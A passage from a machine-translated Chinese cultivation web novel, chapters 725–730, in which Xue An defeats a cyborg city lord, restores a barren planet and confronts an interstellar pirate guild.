    As he grew up in this wasteland world, the fact that clean water with extremely low radiation falls from the sky is simply challenging his imagination.


    "This is the water festival! But for me, I would rather call it rain!" Xue An said lightly.


    "It''s...it''s raining?" Atu was obviously new to this unprecedented vocabulary.


    Xue An smiled, "This is a very natural phenomenon, but you haven''t seen it before!"


    At this time, everyone in the square knelt down with excitement, some of them even squatted on the ground, and began to **** the rain crazily on the ground.


    For these people, there may only be such an opportunity in a year to taste the water in such a luxury.


    But most of them started to collect water with the various utensils they brought with them.


    This will be their source of livelihood for a long time to come.


    But no matter what they were doing, they all paid homage to the Silver City Lord on the tower, and some were already excited and tearful, shouting their names to show their respect.


    Xue An watched all this with cold eyes, and whispered: "Depriving you of what originally belonged to you, and then granting a small amount of benefits, it will make you so grateful. It''s really a good way!"


    "My lord, what are you talking about?" Atu asked with some confusion.


    Xue An smiled, "Nothing!"


    It rained for a while before it started to dissipate.


    At this moment, Xiong Xi, who had been sitting there, suddenly jumped up from his seat, raised his face and shouted at the Silver City Lord and Crolia on the tower: "My Lord, Lord Saint! I am! Have something to say!"


    The sound resounded through the audience, and it immediately attracted everyone''s attention.


    The Silver City Lord above the tower lowered his head and looked at Xiong Xi, "What do you have to say?"


    Xiong Xi gritted his teeth and stretched out his hand to point at Atu, "Sir, don''t you want us to beware of outsiders? I can tell you now that this guy is the outsider who slaughtered Dark Iron City!"


    boom!


    This sentence seemed like a shock to the world, and it evoked the exclamation of many people.


    "Outsider?"


    "This boy is actually an outsider?"


    Chromia was also startled, and then asked with a deep face, "Xiong Xi, what is going on?"


    Xiong Xi had already figured out the wording for a long time, so he said bitterly: "Master Saint, my son Xiong Hai was killed last night, I think you should all know!"


    "You must think that my son is not at ease here!"


    "But actually it''s not like that at all. Since you met this boy on the street, Xiong Hai had doubts about this boy, so he went to investigate at night!"


    "Unexpectedly, this person''s shot would be so fierce that he would kill my son directly!"


    "Unfortunately, what he didn''t expect is that my son has a secret technique that can deliver some important information in critical moments!"


    "He told me this guy was the murderer who slaughtered Dark Iron City and killed my second son, Xiong Lei!"


    As soon as this passage was exported, almost everyone believed it.


    If Xue An didn''t know the inside story, he would be deceived by this vowed guy.


    After all, this paragraph of his rhetoric fits perfectly, and it sounds perfect without any flaws.


    Chromia''s face changed, and then she looked at the Silver City Lord.


    "My king! Look at this..."


    City Lord Baiyin never spoke, but stared at Atu condescendingly.


    Even at this time, Atu still raised his face proudly, without the slightest sense of fear.


    Even his heart was faintly excited.


    Xiong Xi is overjoyed.

 Chapter 725： Take my lines?

    His own words obviously touched the Silver City Lord, and it was almost the last point at this time.


    Therefore he knelt on the ground without hesitation, "My Lord City Lord, this person is very powerful, please use your divine power and destroy this person!"


    As if moved by Xiong Xi''s words, City Lord Baiyin held the railing of the high platform with his hand, leaned out and stared at Atu in the distance.


    "Outsiders, I''m very curious, why do you dare to come to my territory? Are you so confident in yourself?"


    The voice of City Lord Silver was like a rolling thunder, slowly rolling across the square, and this momentum made many people feel disgraced.


    Only Atu didn''t show any fear, and instead glanced at City Lord Silver, "Yes, that''s how confident, how?"


    This sentence caused an uproar around.


    Many people roared.


    Including Crolia, she is also full of anger and embarrassment at the moment.


    Because she really didn''t expect that the teenager she wanted to recruit yesterday was actually an outsider.


    This was the same as slapped her directly, which naturally made her very angry.


    "Kill him!" Crolia gave an order, and the guards deployed near the high platform swarmed towards Atu.


    This guard is a high-ranking warrior carefully selected by Crolia, and after extremely cruel training, this is a good soldier.


    But as soon as these people rushed to the front, countless sword lights appeared out of thin air, directly cutting off the necks of these guards, and the dead corpses fell to the ground with a thump.


    hiss!


    This scene caused the audience to take a breath.


    Because although the strength of this young man is still inadequate, this talent is too terrifying.


    As far as the eyes can be seen, the knife mang is born.


    If this talent is used to assassinate...


    Many wealthy family owners think of this, they feel that their necks are chilly.


    And Crolia was even more startled and angry.


    She could perceive that Atu''s talent was amazing, but she didn''t expect his talent to be so terrifying.


    But this also further confirmed the rumor that he was an outsider.


    Otherwise, all this is simply too difficult to explain.


    Just when Crolia was about to order people to rush up again.


    City Lord Jie Jie laughed strangely.


    "Little guy, your talent is really good, but if that''s all, then don''t want to leave today!"


    Sliding down, the carapace behind the Silver City Lord suddenly opened, revealing two huge wings, and then one flashed, and he came to the front of Atu and blasted out a punch.


    "The Lord of the City has taken action!"


    "God! Has the Immortal King actually dealt with this young man himself?"


    These talks came and went, but everyone breathed a sigh of relief.


    Because in the eyes of these people, no one will be the king''s opponent.


    But Atu had no sense of fear at all, and even showed an excited smile.


    "Good job!"


    Hundreds of sword lights appeared in front of Atu, and the light quickly became dazzling under the layers. Then Atu also punched out without showing any weakness.


    boom.


    Under a loud noise.


    Atu hurriedly retreated back.


    And the Silver City Lord stayed in the air, without even shaking his shoulders.


    Seeing this scene, the crowd broke out with huge cheers.


    "The Immortal King!"


    "My King is invincible!"


    In these shouts, including Xiong Xi, many giants secretly breathed a sigh of relief.


    Outsiders have made the nerves of these giants more sensitive, but it looks like this is nothing more than that.


    At least not the king''s opponent at all.


    At this moment, Ah Tu stood in front of his body, his face was blue and red, and finally a trace of blood leaked from the corner of his mouth.


    "Outsider, you surrender now, I can''t kill you!"


    City Lord Silver said lightly floating in the air.


    He wanted to catch Atu and ask him exactly how he got here!


    But Atu sneered, "Don''t think about it! Give it to me!"


    boom!


    Countless sword lights appeared out of thin air, surrounded the Silver City Lord, and then began to slash crazy.


    Just listen to a burst of dense clanging sounds.


    These blade lights became brighter and brighter, and at the same time they began to grow larger.


    "He is advancing!" someone exclaimed.


    At this moment, these blades shuddered slightly, becoming more than twice as large as before.


    The power naturally increased sharply.


    But under such a slash, the voice of City Lord Silver came out from it.


    "It''s useless, these tricks won''t hurt me at all, because I''m... the king of this world!"


    Following his voice, these blade lights suddenly began to flicker, and then disintegrated into fragments with a bang.


    The figure of the Silver City Lord reappeared and became taller.


    The blood stains at the corner of Ah Tu''s mouth were heavier, but he was not afraid to prepare to do it again.


    At this moment, City Lord Silver suddenly appeared in front of Atu, and then said lightly: "Outsiders, give up resistance! Tell me how you came into this world, and who instigated it, I will let go. Pass you!"


    "Bah, wishful thinking!"


    Although Atu didn''t know what an outsider was, he would never cooperate with this guy.


    The face of City Lord Baiyin who was obscured by the respirator could only see the eyes with a look of anger.


    "Since you don''t say anything, then go to die!"


    After all, he raised his fist and prepared to do it.


    At this moment, I saw a hand gently patted his shoulder.


    "Bullying children tend to urinate, you know?"


    The voice was indifferent with a hint of joking in his heart.


    City Lord Silver was stunned, then turned his head to look.


    When facing me, I saw Xue An standing in the void, looking at himself with a smile.


    This scene also made everyone in an uproar.


    "what happened?"


    "Who is this man?"


    "It seems to be here with this boy?"


    "But why doesn''t this guy have the slightest talent?"


    Of these screams, Crolia''s face was the most ugly.


    Because she saw Xue An on the street yesterday, but at the time she thought he was just an ordinary person, so she didn''t take him seriously.


    It can be seen that this person is absolutely extraordinary.


    Although the Silver City Lord was shocked, he quickly recovered, and then looked at Xue An deeply.


    "who are you?"


    "Me?" Xue An smiled, "I forgot to tell you, I am actually the one you were looking for!"


    "That''s what you call... outsiders!"


    This sentence caused a violent commotion among the crowd.


    Silver City Lord''s expression changed even more, "Oh? If you say that, it turns out to be you? Very good, since you admit it, then go to death!"


    With that, UU Reading Silver City Lord blasted out a punch, thinking that Xue An''s life would be the result.


    Because he had always had an ominous premonition in his heart, he stopped talking nonsense, and shot was a killer move.


    But just as his fist had just rushed halfway.


    Xue An said lightly: "Why do you always steal my lines? I should have said this sentence!"


    As soon as the voice fell, Xue An suddenly stretched out his hand, grabbed his shoulder, and threw it over the shoulder one by one.


    boom!


    The Silver City Lord was directly thrown out, and slammed heavily on the high tower.


    But this high tower didn''t know what material it was made of, and it didn''t even shake, but instead shook the Silver City Lord out.


    Then Xue An patted his palms and smiled slightly at the horrified giants.


    "Hello everyone, meet again, my name is Xue An, your retribution!"

 Chapter 726： Your master dare not talk like that

    The complexions of these giants all became extremely ugly.


    Especially the bear family.


    Xiong Xi stared at Xue An in the air, and suddenly trembled, screaming: "The one who killed my two sons..."


    Xue An nodded, "Yes, it''s me!"


    Xiong Xi''s eyes were red.


    But he dared not make any movements.


    Because this man threw the Lord of the City away with just one palm.


    You know, City Lord Silver is simply an invincible existence in these people''s minds.


    But now he didn''t even hold a palm of the man.


    At this time.


    Chromia looked at the Silver City Lord who was lying on the ground with a dull expression, and muttered: "My king, are you defeated? No! You will wake up!"


    If anyone in the audience is the most impacted, it must be her.


    For Crolia, the Silver City Lord is already a belief.


    Therefore, she absolutely cannot accept the fact that her faith was defeated by others.


    As if feeling her call, City Lord Silver, who had been lying still on the ground, suddenly let out a strange smile.


    "Outsiders, you should be a cultivator! But I am very surprised, why does a cultivator like you appear in such a fringe star realm?"


    Xue An said indifferently: "I''m also very surprised, how come your forcibly transformed half-human, half-machine life appears here?"


    This sentence sounded nothing to others, but City Lord Silver was struck by lightning.


    "Outsiders, you surprised me more and more, you can actually see where I came from! Then I can''t let you go!"


    Following the voice, the skin of City Lord Silver''s limbs was torn apart, exposing the limbs shining with metallic cold light below, and then began to deform and grow rapidly.


    in a blink.


    The Silver City Lord became like a spider, lying on all fours, supporting his huge body floating in the air.


    Such a strange scene made many people in the square look stupid.


    Crolia was obsessed and murmured: "Is this what the king really is? It''s really powerful and beautiful!"


    And the Silver City Lord smiled at Xue An, "Outsiders, now tell me clearly how you came, and hand over your magic weapon, I can keep your life! Otherwise..."


    The voice did not fall.


    Atu could not restrain himself, and took a step forward, urging his talents, and launched an attack on the Silver City Lord.


    Countless sword lights surrounded him, but no matter how they slashed, they couldn''t shake the silver city lord.


    "It''s useless! In this world, I am the strongest!" City Lord Silver laughed and took a step forward.


    These blades were shattered.


    Atu snorted, staggered back a few steps.


    At this time, Xue An took a playful look at the tall tower and whispered: "If I guessed right, the master who made you should be coming soon! After all...this tower is almost full!"


    The Silver City Lord, who was laughing arrogantly, stopped abruptly, and then looked at Xue An in disbelief.


    "Outsider, who are you? Why do you know so much!" City Lord Silver roared.


    Xue An smiled faintly, "Who am I? Didn''t I tell you? My name is Xue An, your retribution!"


    After all, before the Silver City Master could react, Xue An took a step forward, and the whole person appeared in front of him in an instant, and then pressed one hand on his huge head.


    "Give me...kneel down!" Xue An yelled coldly.


    The Silver City Lord felt that an unstoppable force was coming. Although he tried to resist this force with all his mechanical power, he just took one more breath and couldn''t hold it anymore.


    A faint electric spark appeared on the mechanical structure of the limbs, and then thumped, and City Lord Silver was knocked to the ground and knelt in front of Xue An.


    Chromia, who was full of confidence in her own king, almost stared out at this moment, "This... how is this possible?"


    "Ah ah ah ah! Outsider, I will kill you!"


    City Lord Silver was even more furious, and his skin was torn apart, revealing the mechanical body underneath. Only one head was still a human face, but this looked even more hideous and terrifying.


    Then he began to struggle frantically, trying to stand up.


    But Xue An didn''t have any response to this, and still lightly pressed with one hand.


    But such a hand, like a mountain, pressed the Silver City Master into a state of nowhere.


    Everyone sees it with a broken heart.


    Xue An took the time to dig out his ears with his other hand, and then said helplessly: "Why are you shouting so loudly? Isn''t the result the same?"


    City Lord Silver was still yelling frantically, trying to break free from Xue An''s suppression.


    "You didn''t hear me, did you?"


    Xue An raised his eyebrows, a ray of sword light appeared in his hand, and then he chopped down.


    Click.


    With a sharp metal cutting sound, one of the legs of City Lord Silver was chopped off.


    Amidst the sparks, City Lord Silver couldn''t believe this scene.


    "How... how is it possible, my body is made of black cloud gold in the depths of the void. There is nothing to hurt, how can you cut it?"


    "Nothing can hurt?" Xue An smiled, "Your master dare not say this when he comes. You dare to say that with a little cyborg?"


    "No...impossible!" City Lord Silver still yelled frantically in disbelief.


    Xue An frowned slightly, "Noisy!"


    Speaking, he raised the knife and fell.


    puff.


    This hit directly on his neck.


    But it did not split.


    Just cut off the sound generator and many cables in the throat.


    At this time, this half-human, half-mechanical Silver City Lord couldn''t make any sound, and could only look at Xue An with a pair of horrified eyes.


    Xue An smiled, then glanced at the sky pointed by the tower, and said lightly: "Aren''t you coming? I don''t have much time to wait for you, Master!"


    With that, Xue An directly dropped the disabled Silver City Lord, and his figure instantly appeared on the top of the tower.


    I don''t know what material the tower was forged, and it shone with a luster of non-metal or wood.


    Xue An grasped the top of the tower and suddenly used force, the tower that remained motionless no matter what he experienced suddenly began to trembleNo...no! "Crolia, who was still standing on the observation deck of the high tower, yelled in horror.


    But at this moment, layers of halo appeared from the top of the tower, and it spread up quickly.


    When passing the observation deck, Crolia snorted without even coming, and was directly evaporated by the huge energy.


    Then I saw a beam of brilliance rushing from the spire of the tower and heading straight to the sky.


    Everyone still didn''t understand what was going on.


    A huge coercion suddenly fell from the sky.


    Then I saw a huge black shadow with the entire Silver City passing through the mist in the sky and appeared in front of everyone.


    Xue An looked up at the huge spaceship exuding blood, and at the same time, his eyes swept over the scarlet skull drawn by unknown objects on the spaceship, and a cold smile gradually appeared at the corner of his mouth.


    "Is it an interstellar pirate?"

 Chapter 727： Interstellar pirates

    Interstellar pirates.


    As the name suggests, it is a group of people who travel between galaxies and make a living by looting supplies.


    When Xue An first entered this planet, he discovered that something had stolen the original power of this world.


    That''s why this huge planet is so barren.


    Xue An suspected the work of interstellar pirates.


    Upon entering the Silver City, the tall tower standing in the middle of the city further confirmed Xue An''s thoughts.


    This tall tower looks ordinary at first, but in fact the bottom is connected to the inner core of the planet.


    Every moment, this tall tower is absorbing the original power of this planet, and then storing it in the tower.


    This is obviously for those pirates.


    as predicted.


    Now this pirate ship has arrived.


    The City Lord Silver, who was lying on the ground, trembled with excitement. He wanted to speak but couldn''t speak. He could only wave his stumps as much as he could to attract the spacecraft''s attention.


    The spacecraft slowly lowered its height, and then a man''s shout came from above.


    "who are you?"


    Upon seeing this, Xiong Xi was overjoyed, jumped up from the ground, pointed at Xue An and shouted: "Master Lord, this is the guy, he is an outsider!"


    Hearing these words, a lot of gun barrels protruded under the spacecraft, all aimed at Xue An.


    At the same time, a man��s voice came from the spacecraft, ��Outsiders? I advise you not to be nosy, and leave me without embarrassing you, otherwise...��


    As he said, the sound of charging came from the gun barrel of the spacecraft.


    But at this moment, Xue An''s whole body suddenly disappeared in place, and when he reappeared, he had reached the top of the spaceship, and then hit it down with a punch.


    boom!


    The huge spacecraft shuddered violently, and even the protective shield attached to it flashed rapidly.


    "What''s the matter?" A terrified cry came from the spaceship.


    Xue An didn''t give him a second chance to speak, so he hit again.


    The spaceship staggered when it was smashed, and then began to fall diagonally.


    The people in the square exclaimed.


    If this is directly smashed down, no one can run away.


    But fortunately, the spacecraft passed diagonally over the square and hit several abandoned buildings next to the square with a bang.


    Everyone looked at the spaceship in dismay.


    I saw Xue An standing on it, full of sword energy, and said lightly: "I will give you three breaths. If you still don''t come out, I will cut your spaceship with one sword and let you die with it!"


    As soon as the voice fell, a horrified shout came from the spacecraft, "You are merciful, your mercy, I will come out immediately!"


    As he said, there was a flash of light above the spaceship, and then a hatch slowly opened, and a man with a beard walked out in embarrassment.


    As soon as he appeared, Xue An grabbed him directly and flew back to the square, then threw it to the ground.


    boom.


    The man fell to the ground with a gray head and face. Just as he was about to say something, Xue An had stepped on him with one foot and said lightly: "Now I ask you to answer!"


    Hu''s cheeks trembled all over, "Yes!"


    "What''s your name?"


    "My lord, my name is Xu Gao!"


    "Did you steal the original power of this world?"


    Sweat stains appeared on his face, "Yes!"


    Xue An pointed to City Lord Silver who had fallen into a sluggish state. "This thing is also left by you!"


    "Yes!"


    Xue An nodded, "Very good!"


    Xu Gao trembled all over, for fear that Xue An would cut himself off again, hurriedly said: "My lord, I am just a little pirate who is ordered to act. I don''t know anything else! Please be merciful, don''t kill me !"


    "Kill you?" Xue An shook his head, "Of course I won''t kill you!"


    Xu Gao just breathed a sigh of relief.


    At this moment, he was extremely frustrated.


    As he said, he is an ordinary little pirate in the Blood Skull Pirate Guild.


    Normally, he is squeezed out, otherwise he would not be sent to this fringe world to collect the original power of the planet.


    This is a chore, because who wants to come to this fringe world where birds do not shit.


    Only a small role like him will be sent.


    But I didn''t expect that after I got here, I would meet another powerful cultivator like Xue An.


    At this moment, he is almost crying.


    "Your spaceship should have an unlocking device on it!"


    "what?"


    "No nonsense, you are here to collect the original power of this world, and you will definitely bring it to unlock it, because the two are originally one, but they are the difference between the positive and the negative!"


    Xu Gao was stupid.


    The so-called unlocking device refers to something that can unlock the tower.


    But how could he know such details?


    Could it be that he is also a pirate?


    At this moment, the last trace of luck in his heart also disappeared, and he nodded quickly and said: "Yes! There is indeed!"


    "Take it out now and unlock the origin lock in this tower!"


    Xu Gao gradually widened his eyes.


    He never dreamed that Xue An would actually make such a request.


    He thought that Xue An wanted to rob these original powers.


    Because if it is unlocked, then all these original powers will be returned.


    "Didn''t you hear?" Xue An raised his eyebrows slightly.


    "Ah! I heard that!" Xu Gao replied hurriedly, and hurriedly took out an extremely delicate round key from his pocket.


    "My lord, this is the unlocking device."


    Xue An nodded, grabbed him and flew to the top of the tower.


    Xu Gao didn''t dare to neglect, and carefully placed this key in an inconspicuous recess at the top of the tower.


    After a while.


    Just listen to a loud rumbling noise.


    Brilliant brilliance surged crazily from the top of the tower.


    Everyone felt their feet rumbling, and they didn''t know what happened, and they all had their faces full of shock.


    But soon, someone discovered the abnormality.


    "Look, the mountain outside!"


    Everyone turned to look.


    In the distance, dots of green appeared on the originally incomparably desolate hill.


    The sky, which has been shrouded in gray mist, is gradually showing its true colors at this time Even the black mist covering the entire planet has gradually become thinner, and finally dissipated in invisible.


    The once intense radiation is also quickly disappearing.


    Everyone felt the great change between heaven and earth.


    "Gosh! Is this the light?"


    "What the **** is going on?"


    These questions hover in everyone''s minds.


    At this moment, Xue An stood high in the sky, looking at everyone below, and said lightly: "As you can see."


    "This world should be like this!"


    "But because these interstellar pirates madly steal the original power of this world, this world is so barren."


    "Now that the original source is returned, everything has naturally begun to recover as before!"

 Chapter 728： Blood skull

    The words of Xue An made everyone silly, and it took a while before someone regained consciousness.


    "My lord, these people..." Someone pointed at the Silver City Lord and the wealthy men on the ground.


    Xue An said indifferently: "They are naturally helping others to abuse!"


    Hearing these words, the prestige that Silver City Lord had built for decades collapsed instantly.


    Countless people with red eyes rushed forward and surrounded the Silver City Lord who had no ability to resist, attacking wildly with various talents.


    Although this Silver City Lord is powerful, he has been severely injured by Xue An and is now besieged by so many people, so he turned into ruins in the blink of an eye.


    As for those giants, none of them can run.


    The worst is Xiong Xi.


    He just saw that the situation was not good, and he wanted to leave here quietly.


    But how could Atu allow this guy who popped out again and again to fight against the adults to escape?


    Therefore, under Atu''s flash of thought, more than a dozen swordsmans cut off Xiongxi''s limbs.


    Then they were dismembered by those who rushed up.


    In the blink of an eye, these giants and Silver City Lord who had just been aloof became the flesh and blood of a place.


    Xue An looked at Xu Gao, who was pale, and smiled faintly, "You said that if I throw you down now, what will be the consequences for you?"


    Xu Gao trembled all over, begging: "My lord, forgive me, these things really have nothing to do with me! I''m just following orders!"


    Xue An smiled, "It''s just scaring you, do you think I really killed you? After all, you have a more important role!"


    Xu Gao felt a chill, and he didn''t understand what Xue An''s more important role was.


    Xue An carried him down from the tower, and the crowd respectfully stepped aside.


    Xue An approached Atu and released a few people from the Fubao Xiaolou.


    When a few women suddenly appeared in front of him, the crowd was in a commotion.


    Chen Xiaomei walked up to Atu, "Brother!"


    Atu looked at his ruddy-looking younger sister, couldn''t help smiling, and then looked at Xue An hesitantly.


    "grown ups����."


    Xue An waved his hand, "I''m leaving now!"


    Although he had anticipated it long ago, Atu couldn''t help shaking after hearing him say this.


    Chen Xiaomei''s eyes were red, and tears had already flowed down.


    "Okay, this world has begun to gradually recover. Given the size of this planet, the spiritual energy can be reconstituted in less than a hundred years, and you can cultivate, and I will return naturally!"


    Even so, Atu lowered his head sadly.


    The two little girls were saying goodbye to Chen Xiaomei.


    "Little sister, this is your favorite chocolate candy, I have it all in it, it will be enough for you to eat for a long time!" Think about it.


    "This is ice cream, it''s a pity that you can''t put more of this thing, you can eat it soon!" Nian Nian said.


    Chen Xiaomei took it in tears.


    Xue An looked at Atu and said, "Your talent and character are good. I hope you will be consistent even after I leave. If you behave like these people, I will not let you go after I return!"


    Atu''s heart was stunned, and his face was solemnly said: "Don''t worry, your lord, Atu understands this truth!"


    Xue An nodded, looked around the audience, smiled slightly, and then led An Yan and his two daughters into the air and flew to the spaceship.


    Although the pirate ship was smashed down by Xue An''s two punches, it did not suffer any substantial damage.


    After Xue An and the others entered the hatch, but a moment later, the spacecraft rose into the air, quickly soared, and then disappeared into the sky.


    Everyone in Silver City looked up at this scene.


    Although many people don''t know Xue An''s name, the entire planet was saved by him.


    So not long after.


    The statue of Xue An appeared on Baiyin Square and became the most eye-catching building here.


    And in the statue, he is always looking up at the sky, as if waiting for someone to return.


    The pirate ship flew out of the planet''s atmosphere and came into outer space.


    "Stop!"


    The spacecraft made an emergency stop.


    "My lord, what''s the matter?" Xu Gao asked tremblingly.


    "Oh nothing, I still have something to take!"


    After all, Xue An got out of the spaceship, and his body descended directly into space.


    Then he waved his hand, and an ambiguous golden boat appeared right in front of the spacecraft.


    Xu Gao''s jaw almost fell to the ground.


    "God... my god! This is... Xingzhou!"


    In this vast universe.


    There are two very different types of spacecraft.


    One is that like this spaceship, it follows the technological route.


    The advantage is that the threshold is very low, as long as the technology is in place, ordinary people can also gallop the stars.


    But the more sophisticated the technology, the more fragile it is.


    Especially in this dangerous space, the spacecraft is still too dangerous.


    The other is to follow the line of repairers.


    Among them, this Xingzhou is a representative.


    Although the threshold is high, it requires a high level of cultivation to be able to control it.


    But because it is very strong, and the speed is much faster than the spacecraft.


    So it has become synonymous with high-end.


    Xu Gao was just an ordinary person, so when he saw this golden starship, he was naturally full of wonder.


    This starship was much larger than those he had seen before, and its momentum was even more majestic.


    All this proves that this man is unfathomable.


    Xu Gao became more and more frightened.


    At this time, Xue An had recovered the starship and returned to the spacecraft.


    "Big...sir, where are we going next?" Xu Gao asked.


    Xue An said lightly: "Go to where you came from!"


    "I...where I came from?" Xu Gao was taken aback, and then he realized that his face instantly became pale.


    "My lord, you mean..."


    Xue An nodded, "Yes, go to your Blood Skull Pirate Guild!"


    Xu Gao is almost crying My lord, if I take you there, they will definitely not let me go, they will definitely cut me off, even you...! "


    Xu Gao paused, took a peek at Xue An''s expression, took a swallow, and then continued: "Although you are very powerful, the guild is heavily guarded. If you go alone..."


    Xue An smiled, "Don''t worry, you can do it on your way!"


    Xu Gao groaned secretly when he saw this, but didn''t dare to defy, so he nodded sadly, "Yes!"


    Then he steered the spacecraft to turn around, suddenly accelerated, and disappeared in place.


    Interstellar pirates are all extremely cunning and cruel.


    And the personnel are very complicated.


    Among them are powerful enough to occupy a place in the heavens and all realms.


    These powerhouses separatize one side, as if they have become a powerful one, and can no longer be described as simple pirates.

 Chapter 729： Kill to headquarters

    But such pirates are still a minority.


    More than that, like the Blood Skull Pirate Guild, entrenched one side, doing all kinds of bad things that were angry and complained.


    Therefore, there is a default rule in the heavens and worlds, if you encounter interstellar pirates, as long as the strength allows, they will definitely be wiped out.


    What''s more, Xue An is now suffering from the lack of star maps in the surrounding star regions.


    The appearance of these pirates gave him an excellent opportunity.


    As pirates, they naturally need to know the surrounding star field well, so they must have extremely detailed star maps.


    There may even be a teleportation circle leading to the heavens.


    This is why Xue An is waiting for these pirates to appear on that planet.


    Finally, after a long journey of more than half a month.


    Xue An and others came to an extremely wild and remote star field.


    Not only is it far away from various interstellar routes, there are even few planets.


    Only a few red giant stars exude dim light.


    And in the depths of this star field, there is a spaceship fortress comparable to an asteroid.


    When this spaceship fortress appeared in the porthole of the spaceship, An Yan couldn''t help letting out a surprise.


    "It''s spectacular!"


    Thinking and Niannian said, "Dad, this seems to be a nest of termites!"


    As the two little girls described.


    The headquarters of this blood skull pirate guild is just like the termite nest on earth.


    There are various small spaceships coming out and going in on the ring-shaped fortress, and in the middle of the ring, there are many pipes connected, and these pipes are constantly flashing light, appearing very busy.


    In comparison, the appearance of this pirate ship is very inconspicuous.


    But when they approached the fortress, a small spaceship approached immediately.


    "Hey, Xu Datou, I came back very fast this time!" A joking voice came from the communication.


    Xu Gao was a little embarrassed, because his status in this pirate guild was very low, so anyone dared to laugh at him.


    At this time, Xue An''s voice sounded in Xu Gao''s mind, "Tell them, that there are important discoveries on that planet that need to be reported!"


    Xu Gao is very smart and immediately understood what Xue An meant, so he said in a deep voice, "I don''t have time to make trouble with you now. I have an important discovery on that planet. I need to report it to the captain!"


    The pirate guild was divided into several teams, among which Xu Gao was a member of the White Dwarf Team.


    The other side was startled when he heard the words, and then laughed: "Xu Datou, are you kidding me? I haven''t been to that broken star. What can I find there?"


    Without waiting for Xue An''s instructions, Xu Gao was already furious, "Okay, if you don''t let it go, you will be responsible for delays in major events."


    This sentence silenced the opposite for a moment, and then said: "Come with me!"


    When he said, he turned to lead the way.


    At this time, An Yan came over to Xue An and said, "Husband, why don''t I go back to Xiaolou with Miss Miss?"


    Xue An smiled, "No need! Just go with me to open your eyes!"


    "But, won''t it get in the way?" An Yan hesitated.


    Xue An looked at the growing fortress in the porthole, and said lightly: "I just scanned it with divine mind, there are no powerful people in it!"


    Hearing what Xue An said, An Yan stopped saying anything.


    But the two little girls were so excited.


    This kind of scenes that could only be seen in science fiction movies before, actually appeared in front of them at this time, which naturally made the two little girls very happy.


    quickly.


    The pirate ship was docked on a berth.


    After stopping, the hatch opened slowly.


    Xu Gao whispered: "My lord, you..."


    "Just say I''m from that planet. It''s important to follow you!"


    "understand!"


    Xu Gao took a deep breath and walked out of the spaceship.


    In the distance stood a few evil-faced guys with cigarettes in their mouths.


    When they saw Xu Gao, they glanced at each other, and then walked up smilingly.


    "Yeah, I heard that our big head Xu made some gains when we went out this time. He still needs to see the captain?"


    Xu Gao was a little scared when he saw these people.


    Don''t look at his beard and beard, he looks very vicious, in fact, because of his low abilities and weak personality, he is usually bullied.


    These guys often make fun of him.


    But just when these guys wanted to say something, they were all stunned.


    Because behind Xu Gao, Xue An led An Yan and two little girls out of the spacecraft''s hatch.


    The extremely high value of this family makes these guys look stupid.


    One even didn''t even know that the cigarette in his mouth fell out.


    When Xu Gao saw this scene, his heart moved, but his face pretended to be indifferent and said: "This is my gift to the captain. Do you dare to stop it?"


    These guys looked at each other, and then they retreated to the sides, not daring to say anything.


    Although they couldn''t see the details of Xue An and the others, it was enough to be a precious gift based on this appearance.


    Xu Gao led Xue An and his party inside, and while walking, Xu Gao said in a low voice.


    "My lord, this blood skull pirate guild is divided into several teams. I belong to the white dwarf team, and our captain is a **** woman named Ling Zhu! This **** guy keeps looking at me as unpleasant and often sends me to perform some and painful Tiring task."


    Xu Gao began to talk about his grievances.


    After hearing a few sentences, Xue An focused his attention on the roads he had traveled.


    The interior of this spaceship fortress is very wide, and even the road inside is very spacious.


    And the flow of people is very busy.


    Where Xue An and others have gone, they will always attract the attention of countless people.


    At this time, they finally passed through the outer periphery of the spacecraft and came to a long corridor.


    "My lord, this is where the White Dwarf Team is located, and I will lead you over!"


    With that said, Xu Gao led Xue An through the corridor to the end of this room After opening the door, there was a huge office inside.


    The walls of the room are exuding white fluorescence, which looks very sci-fi.


    In the middle of this office, there is a huge desk.


    At this moment, a woman wearing black fishnet stockings with her feet on her feet is sitting behind her desk, poking her fingers on the holographic screen in front of her, handling official duties.


    And her slender legs rested unscrupulously on the desk, very eye-catching.


    When the door rang, the woman didn''t turn her head back, "What''s the matter?"


    Xu Gao said solemnly: "Captain! I''m back from that planet!"


    The woman frowned slightly, "Just come back when you come back, just extract the energy. Do you need to report this to me?"


    With that, she moved her gaze away from the holographic screen, looked at Xu Gao, and then was stunned.

 Chapter 730： Tracing the root cause

    To be precise, he was stunned after seeing Xue An and others behind Xu Gao.


    However, her gaze did not stop too much on Xue An, but stared at An Yan blankly.


    An Yan felt that this woman''s gaze was very evil, and she couldn''t help frowning slightly.


    At this time, Xue An stepped forward, blocking the woman''s sight.


    The woman regained her sobriety, then her face sank, and she said to Xu Gao, "Who are they?"


    Haven''t waited for Xu Gao to speak.


    Xue An said lightly: "Are you the leader of this team, Ling Zhu?"


    Ling Zhu nodded, just about to say something.


    "Very good! Tell me now, where did the original power you stolen go to?"


    Hearing these words, Ling Zhu''s expression changed suddenly, "What do you want to do? Come..."


    She was about to call someone, and then she floated into the air uncontrollably, her mouth open, but she couldn''t make a sound.


    This Ling Zhu can manage a small team, of course his strength is good, but he is a strong man who has opened up most of his brain.


    Different from the division of strength of the practitioners.


    In this blood skull pirate guild, respect for technology. If you want to enhance your strength, you need to wake up those sleeping places in your brain through technological means.


    The more awakened, the greater the brain area opened up, and both IQ and one''s own strength will grow terribly.


    But she did not expect that the strength she was proud of was so vulnerable to this man.


    Without even knowing what method he used, he was controlled, and he couldn''t even blink his eyelids.


    "Now, let me ask again, where did you send the original power you stolen?"


    Xue An has been scanning everything with divine mind since entering this fortress.


    He discovered that the energy used in this fortress was pure technological energy and had nothing to do with the original power of the planet.


    This also confirmed Xue An��s conjecture.


    This source of power from the world is most suitable for creating a heaven and blessed land for the practitioners.


    This shows that this blood skull pirate guild must be in collusion with certain cultivators.


    But after Ling Zhu could speak, her first reaction was to look at Xue An sullenly.


    "Cultivator, I advise you not to be nosy, because this matter is simply not something someone like you can manage!"


    Xue An stretched out a finger, "I will ask again, if you still refuse to say, then I will directly invade your sea of ??consciousness and forcibly search for memory from your soul. You should know what this means. !"


    Ling Zhu''s complexion changed drastically, and finally realized that he was afraid, "I...I don''t know where it was sent, because the president personally took charge of these things! I am just responsible for sending someone to collect them!"


    Xue listened quietly.


    Ling Zhu''s eyes changed slightly.


    Then there was noisy footsteps from a distance.


    Ling Zhu''s heart was overjoyed.


    But at this moment, Xue An''s eyes flashed.


    A powerful spirit rushed directly into Ling Zhu''s sea of ??consciousness.


    Ling Zhu trembled all over, and his eyes immediately became dull.


